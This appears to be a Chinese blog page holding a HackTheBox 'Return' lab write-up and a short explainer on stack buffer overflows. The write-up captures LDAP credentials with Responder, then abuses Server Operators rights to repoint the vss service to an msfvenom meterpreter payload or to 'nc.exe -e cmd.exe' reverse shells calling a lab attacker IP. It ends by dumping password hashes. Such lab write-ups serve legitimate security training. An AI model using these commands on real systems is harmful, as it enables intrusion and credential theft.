hackthebox-return-401

hackthebox return

return

port scan

使用rustscan 扫描目标地址后发现多个端口开放,其中80是http服务。使用gobuster目录爆破,发现 http://10.10.11.108/settings.php链接.

services

settings.php页面上发现有保存的ldap用户名. 保存的ldap用户名 点击update按钮触发post请求,请求体中有ip字段,值为目标域名printer.return.local

foothold

将请求体中的ip换成自己机器的ip,并且使用responder监听ldap服务.

使用responder 监听ldap服务端口

使用burp 修改settings.php 请求. burp 修改settings.php 请求

发送请求后,responder处得到目标机器发起的ldap认证信息(用户名/密码);

respnoder 得到ldap服务认证信息

使用evil-winrm使用ldap用户信息尝试登录:登录成功。

evil-winrm 尝试登录

priv esca

枚举信息,发现svc-printer用户在用户组(Server Operators group)中,
用户在Server Operators组 根据文档 显示此用户组成员具有以交互方式登录服务器、创建和删除网络共享资源、启动和停止服务、备份和还原文件、格式化计算机的硬盘驱动器以及关闭服务器
因为它具有启动/停止服务的权限,尝试使用sc.exe create ...创建服务失败后,使用修改常见服务的方式执行恶意文件。

  1. 准备恶意文件

nc.exe即可,这里使用msf payload

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.22 LPORT=9002 EXITFUNC=thread -e x86/shikata_ga_nai -i 10 -f exe -o rev.exe

msfvenom生成payload

  1. msf 监听payload

使用multi/handler监听对应payload; 服务启动后大约持续5s,即会停止进程;防止连接关闭,设置msf自动migrate进程。

1
2
3
4
5
6
7
use multi/handler
set payload windows/meterpreter/reverse_tcp
set EXITFUNC thread
set lhost 10.10.14.22
set lport 9002
set ExitOnSession false
set AutoRunScript post/windows/manage/migrate

msf multi/handler

  1. 执行msf payload

通过evil-winrm的 upload方法上传恶意文件,然后修改vss(卷影复制服务,Volume Shadow Copy Service)。

1
2
3
4
5
# 设置vss服务 可执行文件路径为 msf payload path
sc.exe config vss binpath= "C:\windows\tasks\rev.exe"

# 重启vss服务
sc.exe stop vss ; sc.exe start vss

evil-winrm upload恶意文件

post

使用msf的post/windows/gather/smart_hashdump模块,执行后利用,dump 用户密码hash. msf smart_hashdump

other func

不使用msf payload,使用普通nc.exe.

1
2
3
4
# 修改vss可执行文件路径位置 并 提供执行参数
sc.exe config vss binpath= "C:\windows\tasks\nc.exe -e cmd.exe 10.10.14.22 9002"

sc.exe stop vss; sc.exe start vss

使用nc.exe获得反弹shell

得到nc反弹shell后,立刻在此shell中再使用nc.exe创建另一个稳定反弹shell.

1
C:\windows\tasks\nc.exe -e cmd.exe 10.10.14.22 9003

reversing-enging-0x01

buffer overflow

HTB:You know 0xDiablos:bof.

Linux x86 内存结构

Linux x86 内存结构

一个函数被调用时,传递给此函数的参数(name-parameter)以及此函数的局部变量会被pushstack段的 栈顶。

当一个函数有多个入参时,会倒序pushstack段中,如funcA(1, 2, 3),会以 push(3);push(2);push(1)的方式pushstack中。

调用的函数(A)入栈后,应该持有一个地址,用于函数(A)执行完成后,继续运行的下一行 代码的地址(return address)。

全部内容入栈后,会将栈底指针EBP(extended base pointer)入栈,说明当前位置是栈底 。此处栈底的定义是针对入栈后正在运行的函数(A)而言的,因为,函数(A)的内部变量 也需要入栈,入的是以EBP为底的栈。

举例理解

1
2
3
4
5
6
void main() {
1 char buffer [256];
2 funcA(1, 2, 3);
3 otherStatement;
4 return;
}

当以上程序
执行1行时,buffer入栈。
执行2行时,作为入参(name-parameter):3入栈、2入栈、1 入栈;作为返回地址 (return address),下一行代码(3行)的地址入栈。
funcA函数相关信息入栈完毕,EBP入栈,标识此处是栈底。
椄下来是funcA内部变量,会以EBP作为栈底,入栈。
比较特殊的是,main函数的入参在kernel段中,而不是stack段。

以上程序stack段图

缓冲区溢出攻击过程

buffer溢出攻击过程就是栈溢出攻击过程。buffer在填充的时候,由低地址向高地址 填充。

buffer正常填充

buffer填充过量(溢出),就是栈溢出,当人为控制溢出的内容时,就是缓冲区溢出攻击

buffer溢出攻击

根据以上图,funcA执行完毕后,根据return addressname-parameter执行bad func了,而不是预计的funcA 的3行,这就是缓冲区溢出攻击